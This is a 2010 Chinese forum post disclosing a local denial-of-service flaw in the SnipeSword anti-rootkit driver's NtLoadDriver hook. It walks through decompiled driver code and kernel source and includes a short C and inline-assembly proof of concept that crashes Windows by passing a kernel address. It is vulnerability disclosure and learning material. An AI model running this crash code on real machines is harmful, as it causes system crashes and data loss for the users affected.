fyc132 发表于 2010-7-26 23:18

狙剑 SnipeSword.sys NtLoadDriver Hook 本地拒绝服务漏洞

产品版本:狙剑V2008-0417
文件版本:SnipeSword.sys    CheckSum:00019735

问题:

在NtLoadDriver HOOK函数中,对参数检查不够严格,就将参数传递给系统的 ZwXxx函数,结果引发蓝屏。


关键代码
MyNtLoadDriver:
......
sub_17BBB(DriverServiceName, &v26, "ImagePath");
......

sub_17BBB:

......
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 64;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.ObjectName = DriverServiceName;
ObjectAttributes.SecurityQualityOfService = 0;
if ( !ZwOpenKey(&Handle, 1u, &ObjectAttributes) )
......


可见在sub_17BBB中,没有验证参数的正确性就直接调用了ZwOpenKey,


接着我们看下NtOpenKey的代码(参考WRK)

try {

if (mode == UserMode) {
PUNICODE_STRING SafeObjectName;

ProbeAndZeroHandle(KeyHandle);
//
// probe the ObjectAttributes as we shall use it for tracing
//
ProbeForReadSmallStructure( ObjectAttributes,
sizeof(OBJECT_ATTRIBUTES),
PROBE_ALIGNMENT(OBJECT_ATTRIBUTES) );
SafeObjectName = ObjectAttributes->ObjectName;
ProbeAndReadUnicodeStringEx(&CapturedObjectName,SafeObjectName);
ProbeForRead(
CapturedObjectName.Buffer,
CapturedObjectName.Length,
sizeof(WCHAR)
);

} else {
CapturedObjectName = *(ObjectAttributes->ObjectName);
}

// hook it for WMI
HookKcbFromHandleForWmiCmTrace(ObjectAttributes->RootDirectory);

}


由于调用的是Zw系列函数,这些函数会把 "前一模式" 设置为 "内核模式"

这样系统函数将不会再对ObjectAttributes的所有参数做任何有效性检查,而是直接访问其地址

所以系统将直接执行CapturedObjectName = *(ObjectAttributes->ObjectName);这一句,所以我们只要构造一个非法的地址就可以触发异常.

可是系统有使用SEH来捕捉异常,也就是说我们使用的用户地址触发的异常会被SEH捕捉到

但是,可惜的是
尽管函数内使用了SEH,但是只要传递错误的内核地址,仍然会引发系统崩溃。

测试代码:

int main(int argc, char* argv[])
{
printf("狙剑 0day By 单行\n");
printf("请保存好你的数据,按下回车键后激活0day\n");
getchar();

GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwLoadDriver");
__asm
{
push 0x80000000
call eax
}
return 0 ;
}
以上代码在狙剑运行后可以触发蓝屏

此文章多处地方参考(抄袭)了MJ博客里面的文章,希望MJ大大不要见怪


另外要在这里特别感谢群里的大大,紫色秋枫,......在这方面对我的指导


小弟我初学0DAY,文章中如有错误之处,希望各位大大们及时指出,

另外各位大大们别喷我,我只是个菜鸟
页: [1]
查看完整版本: 狙剑 SnipeSword.sys NtLoadDriver Hook 本地拒绝服务漏洞